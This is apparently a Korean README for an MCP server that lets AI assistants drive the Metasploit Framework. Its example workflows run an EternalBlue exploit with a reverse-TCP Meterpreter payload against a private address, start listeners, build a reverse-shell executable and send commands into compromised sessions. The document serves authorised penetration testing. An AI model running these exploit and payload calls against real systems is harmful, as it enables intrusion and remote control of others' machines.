Metasploit MCP 서버

Metasploit Framework 통합을 위한 Model Context Protocol(MCP) 서버입니다.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

설명

이 MCP 서버는 Claude와 같은 대규모 언어 모델과 Metasploit Framework 침투 테스트 플랫폼 간의 브리지를 제공합니다. AI 어시스턴트가 표준화된 도구를 통해 Metasploit 기능에 동적으로 접근하고 제어할 수 있게 하여, 복잡한 보안 테스트 워크플로우에 자연어 인터페이스를 제공합니다.

기능

모듈 정보

• list_exploits: 사용 가능한 Metasploit 익스플로잇 모듈을 검색하고 나열합니다
• list_payloads: 사용 가능한 Metasploit 페이로드 모듈을 검색하고 나열하며, 플랫폼 및 아키텍처 필터링을 선택적으로 지원합니다

익스플로잇 워크플로우

• run_exploit: 대상에 대한 익스플로잇을 구성하고 실행하며, 먼저 검사(checks)를 실행하는 옵션을 제공합니다
• run_auxiliary_module: 사용자 지정 옵션으로 모든 Metasploit 보조(auxiliary) 모듈을 실행합니다
• run_post_module: 기존 세션에 대해 포스트 익스플로잇 모듈을 실행합니다

페이로드 생성

• generate_payload: Metasploit RPC를 사용하여 페이로드 파일을 생성합니다(파일을 로컬에 저장)

세션 관리

• list_active_sessions: 현재 Metasploit 세션을 상세 정보와 함께 표시합니다
• send_session_command: 활성 셸 또는 Meterpreter 세션에서 명령을 실행합니다
• terminate_session: 활성 세션을 강제로 종료합니다

핸들러 관리

• list_listeners: 모든 활성 핸들러 및 백그라운드 작업을 표시합니다
• start_listener: 연결을 수신할 새 multi/handler를 생성합니다
• stop_job: 실행 중인 작업 또는 핸들러를 종료합니다

사전 요구 사항

• Metasploit Framework가 설치되어 있고 msfrpcd가 실행 중이어야 합니다
• Python 3.10 이상
• 필수 Python 패키지(requirements.txt 참조)

설치

1. 이 저장소를 클론합니다
2. 의존성을 설치합니다:

   pip install -r requirements.txt
   

3. 환경 변수를 구성합니다(선택 사항):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

사용법

Metasploit RPC 서비스를 시작합니다:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

전송 옵션

서버는 두 가지 전송 방식을 지원합니다:

• HTTP/SSE (Server-Sent Events): 대부분의 MCP 클라이언트와의 상호 운용성을 위한 기본 모드
• STDIO (Standard Input/Output): Claude Desktop 및 유사한 직접 파이프 연결에 사용됩니다

--transport 플래그를 사용하여 전송 모드를 명시적으로 선택할 수 있습니다:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP 모드의 추가 옵션:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop 통합

Claude Desktop 통합을 위해 claude_desktop_config.json을 구성합니다:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

기타 MCP 클라이언트

HTTP/SSE를 사용하는 다른 MCP 클라이언트의 경우:

1. HTTP 모드에서 서버를 시작합니다:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. MCP 클라이언트가 다음에 연결하도록 구성합니다:

   • SSE 엔드포인트: http://your-server-ip:8085/sse

보안 고려 사항

⚠️ 중요한 보안 경고:

이 도구는 강력한 익스플로잇 기능을 포함하는 Metasploit Framework 기능에 대한 직접적인 접근을 제공합니다. 책임감 있게 사용하고, 보안 테스트를 수행할 수 있는 명시적 권한이 있는 환경에서만 사용하십시오.

• 실행 전에 모든 명령을 항상 검증하고 검토하십시오
• 격리된 테스트 환경에서만 또는 적절한 승인을 받은 상태에서만 실행하십시오
• 포스트 익스플로잇 명령은 시스템에 중대한 변경을 초래할 수 있음을 인지하십시오

예제 워크플로우

기본 익스플로잇

1. 사용 가능한 익스플로잇 나열: list_exploits("ms17_010")
2. 익스플로잇 선택 및 실행: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. 세션 나열: list_active_sessions()
4. 명령 실행: send_session_command(1, "whoami")

포스트 익스플로잇

1. 포스트 모듈 실행: run_post_module("windows/gather/enum_logged_on_users", 1)
2. 사용자 지정 명령 전송: send_session_command(1, "sysinfo")
3. 완료되면 세션 종료: terminate_session(1)

핸들러 관리

1. 리스너 시작: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. 활성 핸들러 나열: list_listeners()
3. 페이로드 생성: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. 핸들러 중지: stop_job(1)

테스트

이 프로젝트는 안정성과 유지보수성을 보장하기 위한 포괄적인 단위 및 통합 테스트를 포함합니다.

테스트 사전 요구 사항

테스트 의존성을 설치합니다:

pip install -r requirements-test.txt

또는 편리한 설치 프로그램을 사용합니다:

python run_tests.py --install-deps
# OR
make install-deps

테스트 실행

빠른 명령

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

특정 테스트 스위트

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

테스트 옵션

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

테스트 구조

• tests/test_options_parsing.py: graceful 옵션 파싱 기능에 대한 단위 테스트
• tests/test_helpers.py: 내부 헬퍼 함수 및 MSF 클라이언트 관리에 대한 단위 테스트
• tests/test_tools_integration.py: 모의(mocked) Metasploit 백엔드를 사용한 모든 MCP 도구에 대한 통합 테스트
• conftest.py: 공유 테스트 픽스처 및 구성
• pytest.ini: 커버리지 설정이 포함된 Pytest 구성

테스트 기능

• 포괄적인 모의(Mocking): 모든 Metasploit 의존성이 모의 처리되므로 실제 MSF 설치 없이도 테스트가 실행됩니다
• 비동기 지원: pytest-asyncio를 사용한 완전한 async/await 테스트 지원
• 커버리지 보고: HTML 보고서가 포함된 상세 커버리지 분석
• 파라미터화된 테스트: 여러 입력 시나리오의 효율적인 테스트
• 픽스처 관리: 일반적인 설정 시나리오를 위한 재사용 가능한 테스트 픽스처

커버리지 보고서

커버리지와 함께 테스트를 실행한 후 보고서는 다음 위치에서 확인할 수 있습니다:

• 터미널: 테스트 실행 후 표시되는 커버리지 요약
• HTML: htmlcov/index.html(--html 옵션 사용 시)

CI/CD 통합

지속적 통합(CI)을 위해:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

구성 옵션

페이로드 저장 디렉터리

기본적으로 generate_payload로 생성된 페이로드는 홈 폴더의 payloads 디렉터리(~/payloads 또는 C:\Users\YourUsername\payloads)에 저장됩니다. PAYLOAD_SAVE_DIR 환경 변수를 설정하여 이 위치를 사용자 지정할 수 있습니다.

환경 변수 설정:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (명령 프롬프트):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• Claude Desktop 구성에서:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

참고: 사용자 지정 경로를 지정하는 경우 해당 경로가 존재하거나 애플리케이션에 생성 권한이 있는지 확인하십시오. 경로가 잘못된 경우 페이로드 생성이 실패할 수 있습니다.

라이선스

Apache 2.0